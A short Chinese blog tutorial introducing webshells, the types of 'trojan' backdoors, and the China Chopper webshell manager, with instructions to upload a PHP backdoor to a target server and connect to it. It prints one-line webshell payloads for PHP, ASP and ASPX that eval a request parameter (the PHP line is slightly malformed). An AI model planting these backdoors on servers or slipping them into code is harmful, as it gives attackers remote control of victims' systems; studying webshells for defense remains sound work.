0
点赞
收藏
分享

微信扫一扫

初始webshell+中国菜刀的使用

凶猛的小白兔 2022-04-18 阅读 57
网络安全

文章目录


一、webshell是什么?

“Web” 的含义是服务器开放web服务;
"Shell"的含义是取得对服务器某种程度上的操作权限;
"webshell"就是获取对服务器的控制权限,这就需要我们借助一些webshell管理工具和一些漏洞去得到这种权限。

二、木马

木马分为大马、小马和一句话木马:

  1. 小马:文件体积小、上传文件、文件修改、文件管理
  2. 大马:文件体积较大、功能齐全、能够提权、操作数据库等(不推荐)
  3. 一句话木马:短小精悍、功能强大、隐蔽性好、客户端直接管理(主流)

php

<?php @eval($_POST['x'];?)>

asp

<%eval request ("x")%>

aspx

<%@ Page Language="Jscript"%> <%eval(Request.Item["x"],"unsafe");%>

三、中国菜刀

这里以php为例
首先我们先将php一句话木马上传到目标服务器中,用菜刀去尝试连接

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

举报

相关推荐

0 条评论